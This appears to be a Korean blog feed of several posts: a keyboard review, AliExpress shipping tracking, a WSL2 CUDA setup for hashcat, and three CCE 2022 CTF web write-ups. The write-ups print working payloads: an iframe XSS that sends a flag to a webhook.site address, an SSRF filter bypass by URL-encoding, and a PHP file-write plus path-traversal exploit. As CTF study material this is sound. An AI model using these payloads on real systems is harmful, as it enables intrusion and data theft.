LED Indicator가 있다는 점이었습니다.

LED Indicator

일부 키보드의 경우

이 LED가 없어

불편했지만,

이 키보드엔

LED로

Key Press 상태를

표시해줘서

헷갈리지 않을 수

있었습니다.

+ 측면 LED

게임용 키보드에서는 흔한

키 백라이트는 없지만

대신,

측면 LED가 있습니다.

눈이 부시지도 않고 은은하다.

모드는

레인보우 형태와

단색 형태

두가지 입니다.

+ LED: 레인보우 타입

레인보우 타입

+ LED: 단색

단색 타입은

색상을 바꿀 수 있습니다.

단색 타입

# FN 단축키

다른 기계식 키보드와

마찬가지로

FN 키 조합 또한 가능합니다.

FN 조합 단축키

# 타건

실제로는

일반 키보드(멤브레인)과

비슷한 소음이었는데

가까이서 찍어서 그런지

실제보다 많이 크게

들리네요 ㅠㅠ...

+ 단문 타건

한컴 키보드

단문 타건 영상입니다.

단문 타건

+ 장문 타건

한컴 키보드

장문 타건 영상입니다.

장문 타건

# 끝

사무실에서 쓰기

좋다.

먼지 방지용

키보드 덮개만

어디서 구해오면

될거 같다.

+ 아래는 구매 링크

쿠팡: https://link.coupang.com/a/J6WQZ

COX 축교환 기계식 게이밍 키보드 저소음백축

COUPANG

www.coupang.com

쿠팡 게시글 작성 시, 아래 문구를 반드시 기재해 주세요.
"이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다."

[알리 익스프레스 배송 조회] 내 물건 어디까지 왔을 까?

루딘이 — Sun, 4 Dec 2022 22:14:07 +0900

얼마전

중국 알리익스프레스에서

스노우 보드 왁싱, 엣징 세트를

구매한 후

배송이 업데이트되지 않아

직접 선박까지 찾아서

배송 상태를

확인한 방법 입니다.

# AliExpress에서 배송 조회

알리 익스프레스에서도

간단하게

배송 상태와

송장 번호를

확인할 수 있습니다.

알리 익스프레스 배송 조회
- 홈 > 계정 > 주문 > 배송 추적

알리 익스프레스 배송 조회

+ 알리 배송 상세 조회

배송 추적을 클릭하면

조금 크게 확인할 수 있으며,

우측 상단에서

송장 번호를

확인할 수 있습니다.

배송 조회 상세 페이지, 정보가 좀 부족하다.

+ 연계된 사이트 조회

알리 익스프레스의

배송 상세 페이지를

봤으나,

29일 물류 창고에서

처리 중이라는 내용만

있습니다.

우측 상단에

글로벌 익스프레스 트래킹

과 함께 적혀있는

송장 번호(트래킹 번호)

를 클릭하면

연계된 사이트에서

조금은 자세하게 적힌

배송 조회가 가능합니다.

글로벌 익스프레스 트래킹 클릭

하지만, 이 사이트도

정작 알고 싶은

위치 정보를

제공하지 않았습니다 ㅠㅠ

그래서 어디 있는 데...

# 선박 조회 및 위치 찾기

해외 배송은

비행기나 배로 운송하지만

AliExpress Standard Shipping이라면

일반적으로

배(선박)으로 운송합니다.

+ 선박 조회

내가 주문한 물품이

실릴 예정이거나

이미 실린 선박은

아래 사이트에서

조회할 수 있습니다.

Global Express Tracking
- http://exp.actcore.com/kact

* 중국 내에서의 운송(육지)은 확인 불가

배송 조회

이 사이트에서

송장 번호를

조회하면

현재 배송 상태와

선박 이름,

운송 스케쥴 등

많은 정보를

확인할 수 있습니다.

다른 물건은 이미 한국인데...

+ 선박 위치 찾기

앞에서 이미

한국 도착 날짜가

적혀 있지만

지금은 어디있을 까

궁금해서

찾아봤습니다.

선박 위치 확인 사이트
- https://www.shipfinder.com/
- https://www.marinetraffic.com/

위의 두 사이트 중

마음에 드는 곳에서

앞서 확인한

선박명을 검색하면 됩니다.

Shipfinder 검색 결과

Marine Traffic 검색 결과

# 한국에서 통관 조회

한국에 도착하면

통관을 거치게 됩니다.

짧아도 2~3일,

물품이 많아

오래 걸리면 1주일도 걸리며

제 경험상

평택항보다

인천항이

더 오래 걸렸습니다.

통관 조회 사이트
- https://www.customs.go.kr/kcs/ad/cntnts/cntntsView.do?mi=10220&cntntsId=10220

"해외 직구 여기로"에서

해외직구 통관정보조회를 클릭합니다.

해외직구 통관정보조회 클릭

수입화물진행정보(건별)을 클릭한 후,

M B/L - H B/L의 두 번째 칸에

알리에서 확인한

운송번호를 입력하고 조회 합니다.

통관 조회

확인 중이던

스노우보드 왁싱 제품은

아직 입항을 안했기 때문에

통관 정보가 없어서

이미 입항하여

통관 중인

다른 물품으로

검색해봤습니다.

단계가...많이 남았다...

통관이 끝나면

1, 2일이면 도착하니...

빨리 끝나길 기도합니다...

그래도 평택이니

빨리 끝나겠지...

[CUDA on WSL2] Window에서 리눅스와 Nvidia CUDA 사용하기

루딘이 — Mon, 21 Nov 2022 15:36:01 +0900

최근에

hashcat 이라는

Password Crack Tool을

알게 되었으며,

이 툴이

그래픽 카드를

사용하여

빠르게

Brute-forcing

한다기에

툴 환경을

세팅해봤습니다.

# WSL?

WSL은

Windows Subsystem for Linux의 약어로

윈도우에서

리눅스를

사용할 수 있게

가상환경을

구성해줍니다.

WSL2 구조

1. Nvidia 드라이버 설치

우선, Nvidia 드라이버를 설치합니다.

드라이버 다운 링크:
https://www.nvidia.com/Download/index.aspx?lang=en-us

본인 PC에 맞춰서

다운받으면 됩니다.

Nvidia 드라이버 다운로드

2. WSL2 설치 및 실행

+ WSL2 설치

명령어로

간단하게

설치가

가능합니다.

WSL 설치
cmd > wsl --install

* Windows 10 version 2004(Build 19041) 보다 높은 버전 또는 Windows 11 사용

WSL 설치

우분투까지 설치 완료

+ WSL 실행

다양한 방법으로

실행할 수 있습니다.

실행 방법:
1. 윈도우 창 > Ubuntu 클릭
2. CMD > 탭에서 Ubuntu 클릭

1. 윈도우 > Ubuntu 클릭

2. CMD > 탭에서 Ubuntu 클릭

최초 접속 시

기본 계정만

설정해주면

됩니다.

기본 계정 설정

3. WSL에 CUDA 설치

드라이버와

리눅스 설치가

끝났으면

이제

CUDA를 설치합니다.

아래 명령어들을

차례로 입력하여

설치할 수 있습니다.

# 오래된 GPG 키 삭제
sudo apt-key del 7fa2af80

# apt 업데이트 및 CUDA 설치
wget https://developer.download.nvidia.com/compute/cuda/repos/wsl-ubuntu/x86_64/cuda-wsl-ubuntu.pin
sudo mv cuda-wsl-ubuntu.pin /etc/apt/preferences.d/cuda-repository-pin-600
wget https://developer.download.nvidia.com/compute/cuda/11.8.0/local_installers/cuda-repo-wsl-ubuntu-11-8-local_11.8.0-1_amd64.deb
sudo dpkg -i cuda-repo-wsl-ubuntu-11-8-local_11.8.0-1_amd64.deb
sudo cp /var/cuda-repo-wsl-ubuntu-11-8-local/cuda-*-keyring.gpg /usr/share/keyrings/
sudo apt-get update
sudo apt-get -y install cuda

마지막 CUDA 설치에서 오래걸림...

끝. 인식된 GPU 확인

설치가 완료된 후,

아래 명령어로

인식된 GPU를

확인할 수 있습니다.

확인 명령어:
$ nvidia-smi -q

인식된 GPU 확인

[사이버공격방어대회 CCE 2022 Write Up] Web 3번 : blue archive-web

루딘이 — Thu, 6 Oct 2022 14:44:47 +0900

# 개요

이번에도 SSRF 문제이지만,

내부 서버에서 XSS를

발생시켜야하는

문제입니다.

Web 3번 - blue archive 문제

+ 대상 확인

사이트에 접속하면

URL 입력창 두 개가

나타납니다.

Save Archive와 View Archive

사이트는

Save Archive에

URL을 입력하면

무언가가 저장이 되고,

Save Archive에 URL 입력

View Archive에

같은 URL을 입력하면

링크가 하나 나타납니다.

View Archive에 나타난 링크

해당 링크를

클릭하면

아무 것도 안나타남

아무 것도

안나타납니다.

;;;

+ Flag 확인

제공된 파일을 보면

public 서버(blue_archive)와

internal 서버(sandbox.bluearchive.kr)

두 서버로 나뉘며

Flag는

internal 서버의

Javascript에서

FLAG 변수에

선언되어 있습니다.

sandbox > index.js > Script 태그 > FLAG 변수

# 분석

문제 사이트와 함께 제공된

사이트의 코드를 분석합니다.

Exploit을 위한

주된 코드는

아래 파일에서

확인할 수 있었습니다.

주요 파일
- public 서버(app 폴더)의 routes.js 파일
* /archiveSave 라우터
- public 서버(app 폴더)의 lib.js
* saveArchive 함수
- internal 서버(sandbox 폴더)의 index.js 파일
- docker-compose.yml 파일

+ public 서버(app 폴더) routes.js 파일

우선, public 서버(app 폴더)의 routes.js 파일에서

/archiveSave 라우터의 내용입니다.

// app 폴더 > routes.py > /archiveSave 라우터 내용

router.post('/archiveSave', async (req, res) => {
    const { url } = req.body;

    if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))
        return res.status(400).render('index', { error : 'Invalid URL.' });

    try {
        await saveArchive(url);
        return res.status(200).render('index', { success : `Sucessfully saved archive for ${url}` });
    } catch (e) {
        console.log(e)
        return res.status(500).render('index', { error : 'Oops, an unknown error has occured.' });
    }
});

라우터의 내용을 보면,

아래와 같이

동작하고 있습니다.

/archiveSave 라우터 동작:
1. POST 방식으로 url 파라미터 전달
- router.post('/archiveSave', async (req, res) => {
- const { url } = req.body;
2. 입력값 필터링(http:// or https:// 로 시작)
- if (typeof url !== 'string' || !(url.startsWith('http://') || url.startsWith('https://')))
- 불일치: Invalid URL 반환
3. saveArchive 함수에 url 전달
- await saveArchive(url);
- await: 함수 종료까지 대기(동기식으로 전환)
4. Response 반환
- saveArchive 정상 종료 시: Successfully saved archive for ${url}
- saveArchive 에러 발생 시: Oops, an unkown error has occured.

이 파일에서는

문제 페이지에서

URL 입력 시

http:// 또는 https:// 로 시작

해야한다는 힌트를

얻을 수 있었습니다.

+ public 서버(app 폴더) lib.js 파일

public 서버(app 폴더)의

lib.js 파일에는

saveArchive 함수

가 정의되어 있습니다.

// app 폴더 > lib.js

const crypto = require('crypto');
const fs = require('fs');
const moment = require('moment');
const puppeteer = require('puppeteer');

const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
const config = require('./config');

async function saveArchive(url) {
    const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
    const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
    if (!fs.existsSync(archive_dir))
        fs.mkdirSync(archive_dir);

    const timestamp = moment().format('YYYYMMDDHHmmssSSS');
    const archive_path = `${archive_dir}/${timestamp}.${config.ARCHIVE_EXT}`;
    const browser = await puppeteer.launch({
        executablePath: './chrome/chrome',
        ignoreDefaultArgs: true,
        args: [
            '--headless',
            '--diable-gpu',
            '--disable-dev-shm-usage',
            '--ignore-certificate-errors',
            '--hide-scrollbars',
            '--window-size=1280,720',
            "--js-flags=--noexpose_wasm,--jitless"
        ],
    });
    const page = await browser.newPage();
    await page.goto(sandbox_url + url, { timeout: 3000 });
    await new Promise(resolve => setTimeout(resolve, 3000));
    await page.screenshot({
        fullPage: true,
        path: archive_path,
    });
    await browser.close();
}

module.exports = { saveArchive };

saveArchive 함수의

내용을 보면,

아래와 같이

동작하고 있습니다.

saveArchive 함수 동작:
1. url 파라미터에 대한 저장소(archive) 생성
- const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
if (!fs.existsSync(archive_dir)) fs.mkdirSync(archive_dir);

2. public 서버에서 웹 브라우저 실행
- const page = await browser.newPage();

3. 실행한 웹 브라우저에서 url로 접속
- const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
- await page.goto(sandbox_url + url, { timeout: 3000 });

4. 접속한 후 웹 브라우저 스크린샷을 저장소에 저장
- await page.screenshot({
fullPage: true,
path: archive_path,
});

이 파일에서는

두 가지 힌트를

얻을 수 있습니다.

힌트
1. public 서버가 웹 브라우저를 실행
2. public 서버가 접속하는 url
- url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=` + 입력값

+ internal 서버(sandbox 폴더) index.js 파일

이제 FLAG가 있는

internal 서버의 index.js 파일

입니다.

// sandbox 폴더 > index.js

const express = require('express')
const { encode } = require("html-entities");

const app = express()

app.get('/', function (req, res) {
    data = `<html>
<head><title>sandbox</title></head>
<body>
<script>
FLAG = "cce2022{this_is_not_real_flag}"
</script>
<iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>
</body>
</html>`
    res.setHeader("Content-Type","text/html").send(data);
})

app.listen(process.env.PORT);

internal 서버 동작은

간단합니다.

internal 서버 동작:
1. FLAG는 javascript의 FLAG 변수에 저장
- <script> FLAG = "cce2022{this_is_not_real_flag}" </script>

2. 전달 받은 URL 페이지 로드
- <iframe src="${encode(req.query.url)}" style="width: 100%; height: 100%; border: 0"></iframe>

위의 내용으로 보아

iframe에 입력되는

url 파라미터를 조작하여

javascript의

FLAG 값을

얻어야 한다고

생각했습니다.

+ docker-compose.yml 파일

docker-compose.yml 파일에서는

내부 서버의

주소와 PORT 번호를

얻을 수 있습니다.

version: '3'

services:
  blue_archive:
    build:
      context: .
      args:
        PORT: 31337
        SECRET: REDACTED
        ARCHIVE_DIR: /var/tmp/blue_archive
        ARCHIVE_EXT: jpg
    ports: 
      - "31337:31337"
    links:
      - sandbox.bluearchive.kr
    cap_add:
      - SYS_ADMIN
  sandbox.bluearchive.kr:
    build:
      context: .
      dockerfile: ./sandbox/Dockerfile
    environment:
      PORT: 31337

내부 서버: sandbox.bluearchive.kr

내부 서버 PORT: 31337

# 풀이

이번 문제는

필터링 우회보다는

iframe 태그에서

XSS 를 발생시키는 게

중요한 문제였습니다.

문제 풀이 순서:
1. iframe 태그에서 XSS 확인
- <iframe src="javascript:alert(parent.FLAG);" ></iframe>

2. 값을 받을 수집 서버 구동
- webhook.site 사용

3. internal 서버에서 FLAG 값을 수집 서버로 전송
- javascript:location.href="https://webhook.site/{hash:XXX}/?FLAG=parent.FLAG";

+ iframe XSS

iframe 태그의 src 속성에서는

XSS 공격이 가능합니다.

url=javascsript:alert(window.parent.document.body.innerHTML)

테스트 방법:
1. 제공된 docker-compse.yml 파일 변경
- internal 서버(sandbox.bluearchive.kr) PORT 변경 및 외부 PORT 바인딩
environment:
# PORT: 31337
PORT: 31330
ports:
- "31330:31330"

2. Payload 입력
- url=javascsript:alert(window.parent.document.body.innerHTML)

+ 수집 서버 구동(webhook.site)

FLAG 값을 받을

수집 서버를 구동합니다.

별도로 구축하는 방법도 있으나

이번에 알게된

webhook.site 를 사용했습니다.

접속하면 고유 페이지가 생성됩니다.

+ Payload 작성 및 실행

수집 서버까지

준비되었으면,

Payload를 생성하여

public 서버에

입력합니다.

Payload:
- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href="https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=".concat(parent.FLAG);
- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=%22https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=%22.concat(parent.FLAG);

Payload 입력

+ FLAG 확인

FLAG를

화면에 출력하지는

않았기 때문에

View Archive를 통해

이미지를 확인해도

FLAG를

얻을 수는 없으나

XSS를 통해

접속을 유도한

webhook.site에서는

FLAG를 확인할 수 있습니다.

FLAG 확인

[사이버공격방어대회 CCE 2022 Write Up] Web 2번 : BabyWeb

루딘이 — Tue, 27 Sep 2022 14:08:32 +0900

# 개요

SSRF의 Hostname 필터링(화이트리스트 기반)을

우회하는 문제입니다.

또한,

Flask에서는

URL encoding된 파라미터 값은

자동으로 decoding하지 않고

그대로 받아들인다는 사실을

알게 된 문제였습니다.

+ 대상 확인

사이트에 접속하면

조촐하게

입력란과 제출 버튼이

있습니다.

it's so 심-플

아무런 값을 입력한 후

제출하면

"Something wrong..." 이라는

문자열이 출력됩니다.

여기도 심-플

+ Flag 확인

제공된 파일을 보면

public 서버와

internal 서버

두 서버로 나뉘며

Flag는

internal 서버의

secret.py에

선언되어 있습니다.

internal > secret.py > FLAG 확인

# 분석

문제 사이트와 함께 제공된

사이트의 코드를 분석합니다.

Exploit을 위한

주된 코드는

아래 파일에서

확인할 수 있었습니다.

주요 파일
- public 서버의 app.py 파일
- docker-compse.yml 파일
- internal 서버의 app.py 파일

+ public 서버 app.py 파일

우선, public 서버의 app.py 파일 내용입니다.

# public 서버 > app.py

import urllib
import urllib.parse
import requests
import ipaddress
from flask import Flask
from flask import request
import socket

app = Flask(__name__)

data = """
<html>
<head>
<title>BabyWeb</title>
</head>
<body>
<form action="/" method="POST">
<input type="text" name="url">
<input type="submit">
</form>
</body>
</html>
"""

def valid_ip(ip):
    try:
        ip = socket.gethostbyname(ip)
        is_internal = ipaddress.ip_address(ip).is_global
        if(is_internal):
            return False
        else:
            return True
    except:
        pass

@app.route('/', methods=['GET','POST'])
def index():
    if request.method == "POST":
        try:
            url = request.form['url']
            result = urllib.parse.urlparse(url)
            if result.hostname == 'flag.service':
                return "Not allow"
            else:
                if(valid_ip(result.hostname)):
                    return "huh??"
                else:
                    return requests.get("http://"+result.hostname+result.path, allow_redirects=False).text
        except:
            return "Something wrong..."
    elif request.method == "GET":
        return data

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

index() 함수의 내용을 보면,

아래와 같이

동작하고 있습니다.

public 서버 동작:
1. POST 방식으로 url 파라미터 입력
- url = request.form['url']
2. url parser로 url 분석
- result = urllib.parse.urlparse(url)
3. hostname 필터링
- if result.hostname == 'flag.service':
4. host 유효성 확인(IP 검증)
- if(valid_ip(result.hostname)):
5. 검증된 서버로 접속 및 응답 값 반환
- return requests.get("http://"+result.hostname+result.path, allow_redirects=False).text

이 파일에서는

hostname 필터링과

host 유효성 검증을

우회해야한다는

생각이 들었습니다.

참고로,

Python의 urllib.parse 결과는

다음과 같습니다.

위의 hostname은

아래 예시의 netloc과

동일합니다.

>>> o = urlparse("http://docs.python.org:80/3/library/urllib.parse.html?"
...              "highlight=params#url-parsing")
>>> o
ParseResult(scheme='http', netloc='docs.python.org:80',
            path='/3/library/urllib.parse.html', params='',
            query='highlight=params', fragment='url-parsing')

+ docker-compose.yml 파일

docker-compose.yml 파일은

도커 컨테이너를

어떻게 구성하고 실행할지

정의한 파일로

flag.service 서버가

무엇인지

알 수 있었습니다.

version: '3'
services:
  challenge:
    build:
      context: .
      dockerfile: ./public/Dockerfile
    ports: 
      - "80:80"
    links:
      - flag.service
  flag.service:
    build:
      context: .
      dockerfile: ./internal/Dockerfile

flag.service 서버는

제공된 파일의

internal 서버임을

알 수 있습니다.

+ internal 서버 app.py 파일

이제 FLAG가 있는

internal 서버의 app.py 파일

입니다.

from flask import Flask
from flask import request
from secret import FLAG

app = Flask(__name__)


@app.route('/flag', methods=['GET'])
def index():
    if request.host == "flag.service":
        return FLAG
    else:
        return "Nice try :)"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

internal 서버 파일의 내용은

간단합니다.

internal 서버 동작:
1. GET 방식으로 /flag 에 접속한 경우
- @app.route('/flag', methods=['GET'])
2. 요청 데이터의 host 검증(flag.service)
- if request.host == "flag.service":
3. 검증된 경우 FLAG 반환
- return FLAG
- FLAG는 secret.py 에서 import

위의 내용으로 보아

요청 데이터의 host가

flag.service 일 때만

FLAG를 획득할 수 있습니다.

# 풀이

이번 문제는

소스 코드는 간단하지만,

flag.service를 그대로 입력하면

필터링에 의해

FLAG를 획득할 수 없었으며,

다른 URL을 입력하면

flag.service로

접속하지 않기 때문에

반드시 flag.service로

인식되야 했습니다.

+ URL encoding

필터링 코드를 보면

문자열만 필터링할 뿐

인코딩된 문자열을

필터링하지

않고 있습니다.

예전에는

Host splitting attack

이라는 방식이

있기도 했으나

인코딩된 문자열을

필터링하지 않는 점을

취약점으로 삼아

단순한 URL Encoding으로

우회했습니다.

문제 풀이 순서:
1. http://flag.service/flag URL 중 Hostname을 URL Encoding
- 한 문자만 해도 됨.
- http://fl%61g.service/flag
2. 인코딩된 문자열을 입력, 제출

아래와 같이

인코딩된 문자열을

입력, 제출하면

FLAG를 얻을 수 있습니다.

인코딩된 문자열로 제출

FLAG 획득!

[사이버공격방어대회 CCE 2022 Write up] Web 1번 : Reborn of php

루딘이 — Mon, 26 Sep 2022 18:01:41 +0900

# 개요

+ 대상 확인

서버에 접속하면

간단한 회원가입 페이지가

나타납니다.

Web 1번 Reborn of PHP

+ Flag 확인

제공된 파일 중

Dockerfile 파일을 보면

flag 파일을

/flag 로 복사하는 내용이 있습니다.

따라서, 접속하는 사이트에서는

flag 파일은 /flag 에 위치하게 됩니다.

flag 파일을 /flag로 복사

# 분석

문제 사이트와 함께 제공된

사이트의 코드를 분석합니다.

Exploit을 위한

주된 코드는

controller.lib.php 파일과

register.php 파일,

util.lib.php 파일이었습니다.

+ controller.lib.php 파일

우선, controller.lib.php 파일 내용입니다.

# controller.lib.php

<?php if(!defined('__MAIN__')) exit; ?>
<?php
    class Controller {
        private $board = '';
        private $action = '';

        function __construct($board, $action) {
            $this->board = $board;
            $this->action = $action;

            if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
                $this->board = 'main';
                $this->action = 'index';
           }
        }
       
        function process() {
            $path = "{$this->board}/{$this->action}";
            
            if(preg_match('/php|html/i',  $path)){
                alert('not invalid', 'back');
            }           

            chdir('pages/');
            if(!file_exists("{$path}.php")) $path = 'main/index';
            include("{$path}.php");
       }     
    }
?>

process() 함수의 내용을 보면,

$path 변수 내용에 .php를 붙여서

php 파일을 호출하여 실행하고 있습니다.

이곳을 주요 포인트로 하고 역으로 분석했습니다.

중간에 확장자를 우회해야할 것 같은 코드가 존재하지만,

결국 중요하진 않았습니다 ㅠㅠ

문제의 코드...
- if(!file_exists("{$path}.php")) $path = 'main/index';

분석을 이어나가면,

$path의 내용은 class의 지역 변수인

$board와 $action 변수를 합쳐서 생성되며,

$action 변수가 뒤에 위치합니다.

$path 초기화 코드
- $path = "{$this->board}/{$this->action}";

또한, $board와 $action 변수의 값은

웹 전체 index.php 파일에서

외부 입력으로 입력받고 있어,

경로 조작 취약점이 존재하게 됩니다.

# html/index.php

<?php
    define('__MAIN__', true);
    include('lib/controller.lib.php');
    include('lib/util.lib.php');
        
    $board = $_GET['b'] ? $_GET['b'] : 'main' ;
    $action = $_GET['a'] ? $_GET['a'] : 'index';
   
    $controller = new Controller($board, $action);
    $controller->process();
    
?>

controller.lib.php 파일에서

$board 변수의 값은 정규표현식으로

필터링을 하지만,

$action 변수의 값은

필터링을 거치지 않아

취약점이 발생하게 됩니다.

$board 변수 필터링 코드
- if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}

+ register.php 파일

앞서 언급한

controller.lib.php 파일에서

취약점이 발생하는 위치는

확인하였으나,

/flag 파일은

php 파일이 아니기 때문에

대신 읽어올 코드가 담긴

php 파일이 필요하게 됩니다.

이 파일에 대한 힌트는

register.php 파일과

util.lib.php 파일을 통해

얻을 수 있었습니다.

register.php 파일의 내용입니다.

따로 볼 내용은 없으며,

save_user_id 함수를 호출하는 부분이라

언급했습니다.

# register.php

<?php if(!defined('__MAIN__')) die('Access denied'); ?>

<?php
    $id = $_POST['id'];
    $pw = $_POST['pw'];

    if(!$id || !$pw) alert('invalid input', 'back');

    if(!is_valid_id($id)) alert('invalid id', 'back');

    if(is_exists_user($id)){
        alert('already joined', 'back');
    }

    save_user_id($id, $pw);

    alert('welcome', '/');
?>

+ util.lib.php 파일

주된 기능들이 모여있는 파일입니다.

이 파일의

save_user_id 함수에서

입력된 id, pw 내용으로

파일 생성합니다.

# util.lib.php 파일 -> save_user_id($id, $pw) 함수

function save_user_id($id, $pw){
    chdir('../');
    file_put_contents("dbs/{$id}", serialize($pw));
}

별도의 필터링이 없기 때문에

파일 생성이 가능해지며

파일명은 입력받은 ID,

파일내용은 입력받은 PW를 직렬화하여

생성합니다.

참고로,

PHP의 serialize 함수를 통해

직렬화된 값은

다음과 같은 형태를

가집니다.

PHP -> serialize 함수 결과
- a:10:{s:3:"one";s:12:"C.m.A 하나";s:3:"two";s:9:"C.m.A 둘";s:5:"three";s:9:"C.m.A 셋";s:4:"four";s:9:"C.m.A 넷";s:4:"five";s:12:"C.m.A 다섯";s:3:"six";s:12:"C.m.A 여섯";s:5:"seven";s:12:"C.m.A 일곱";s:5:"eight";s:12:"C.m.A 여덜";s:4:"nine";s:12:"C.m.A 아홉";s:3:"ten";s:9:"C.m.A 열";}

# 풀이

앞서 코드를 분석한 내용으로

아래와 같이 Flag를 얻을 수 있습니다.

문제 풀이 순서:
1. 회원가입 시 ID, PW를 아래와 같이 입력
- ID: [임의의 값].php
(save_user_id 함수를 이용한 .php 파일 생성)
- PW: <?php echo file_get_contents("/flag"); ?>
(/flag 파일의 내용을 읽어오는 코드)

2. http://[대상 사이트]?a=../../dbs/[임의의 값] 으로 접속
- 생성된 Exploit 파일 호출 및 실행
- Flag 획득

+ Exploit 코드로 회원가입

Flag의 내용을

출력할 PHP 파일을

만들기 위해

Exploit 코드를 포함하여

아래와 같은 내용으로

회원가입 합니다.

회원가입 시 ID, PW를 아래와 같이 입력:
- ID: [임의의 값].php
(save_user_id 함수를 이용한 .php 파일 생성)
- PW: <?php echo file_get_contents("/flag"); ?>
(/flag 파일의 내용을 읽어오는 코드)

Exploit 코드로 회원가입

회원가입 내용

제공된 Dockerfile로

도커 이미지와 컨테이너를

생성하여 테스트하면

생성된 파일을

확인할 수 있습니다.

생성된 파일에서 Exploit 코드 확인

+ Exploit 코드 실행

필요한 파일이

생성되었으니,

앞에서 확인한 대로

a 파라미터에

생성된 파라미터를

실행하는 값을 포함하여

사이트에 접속하면

Flag를 획득할 수 있습니다.

Flag 획득

[설계 단계 - 입력데이터 검증 및 표현] 시스템 자원 접근 및 명령어 수행 입력값 검증

루딘이 — Wed, 27 Jul 2022 16:52:27 +0900

소프트웨어 보안약점 진단가이드
2021.11 개정안 기준으로 작성
- 이후 내용이 수정될 수 있습니다.

[항목]
- 시스템 자원 접근 및 명령어 수행 입력값 검증

[유형]
- 입력데이터 검증 및 표현

[기준]
- 시스템 자원접근 및 명령어를 수행할 때
입력값에 대한 유효성 검증방법 설계 및
유효하지 않은 값에 대한 처리방법을
설계해야 한다.

[보안 대책]
- 외부입력값을 이용하여
시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별하는 경우
허가되지 않은 자원이 사용되지 않도록 해야 한다.
- 서버프로그램 안에서 셸을 생성하여 명령어를 실행해야 하는 경우
외부입력값에 의해 악의적인 명령어가 실행되지 않도록 해야 한다.

[구현단계 관련 보안약점]
- 입력 데이터 검증 및 표현 > 코드 삽입
- 입력 데이터 검증 및 표현 > 경로 조작 및 자원 삽입
- 입력 데이터 검증 및 표현 > 서버사이드 요청 위조
- 입력 데이터 검증 및 표현 > 운영체제 명령어 삽입

취약점 개요

경로 조작 및 자원 삽입

공격자가 입력값 조작으로

시스템이 보호하는 자원에 임의로 접근하여

자원의 수정·삭제, 시스템 정보누출, 시스템 자원 간 충돌로 인한 서비스 장애 등을

유발시킬 수 있는 취약점이다.

즉, 경로 조작 및 자원 삽입으로

공격자가 허용되지 않은 권한을 획득하여,

설정에 관계된 파일을 변경하거나 실행시킬 수 있다.

경로 조작 및 자원 삽입

입력값을 조작하여 허가되지 않은 명령 실행

적절한 검증절차를 거치지 않은

사용자 입력값에 의해

의도하지 않은 시스템 명령어가 실행되어

부적절하게 사용자 권한이 변경되거나

시스템 동작 및 운영에 악영향을 미칠 수 있다.

운영체제 명령어 삽입 취약점

설계 시 고려사항(보안 대책)

보안 대책의 세부 내용 입니다.

1. 외부입력값을 이용하여
시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별하는 경우
허가되지 않은 자원이 사용되지 않도록 해야 한다.

- (화이트리스트 방식)
외부입력값이
프로그램 내부에서 사용하는 리소스를
결정하는데 직접적으로 사용되지 않도록 설계한다.
즉, 기능 설계시
사용해야 하는 리소스 목록을 정의하여
지정된 범위 안에서
리소스를 선택하여 사용하도록 해야하며,
리소스 목록은 프로퍼티파일이나 XML파일로 정의하여
리소스 정보를 변경하는 경우
프로그램 수정을 최소화 할 수 있도록 관리한다.

- (블랙리스트: 필터링 방식)
사용자의 요청 리소스가
특정 디렉토리내의 모든 파일인 경우에는
모든 파일명을 목록화하는 것은 어렵다.
이런 경우는 입력값 중
경로조작을 일으킬 수 있는 문자(.., /, ￦)를 제거하고 사용하여
지정된 경로내의 파일만 접근 가능하도록
시큐어코딩 규칙을 정의한다.

2. 서버프로그램 안에서
셸을 생성하여 명령어를 실행해야 하는 경우
외부입력값에 의해
악의적인 명령어가 실행되지 않도록 해야 한다.

[설명]
2.1 서버프로그램 안에서
셸을 생성해서 명령어가 실행되는 구조를 가지지 않도록
설계하는 것이 우선
2.2 이러한 기능이 필요한 경우에는 외부입력값이
직접적으로 명령어의 일부로 사용되지 않도록 해야 한다.
(화이트 리스트 방식)
- 명령어의 일부로 사용되어야 하는 값들을 목록화하여
목록 내에 있는 값들로만 명령어가 조립되어 실행
- 목록화 되어 있는 값 변경 시, 프로그램이 수정되지 않도록
프로퍼티파일이나 XML파일을 사용하여 허용목록을 작성한다.
- 외부입력 값은 목록화된 정보를 검색하는 인덱스값으로 사용

진단 기준 및 방법

요구사항 1

외부 입력값을 이용하여
시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별하는 경우
허가되지 않은 자원이 사용되지 않도록 해야 한다.

- IP, PORT, 파일 등
시스템자원을 식별하기 위해
사용자 입력값을 사용하는 경우
입력값을 검증하도록 설계하고 있는지 확인한다.

[ 진단 방법 ]

1. 외부입력값이 시스템자원을 식별하는 값으로 사용되는 경우,
허가된 자원에만 접근하도록 보안 설계가 적용되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
  아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
  요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처 설계서 검토

1-2 접근이 허가된 시스템자원이 식별되고,
사용가능한 기능과 매핑되어 있는지 아키텍처설계서 등에서 확인
- 산출물 검토 예시:  아키텍처설계서의 보안요구항목 적용 계획 검토, 자원과 기능 매핑을 체크하기 위해 DB설계서 검토

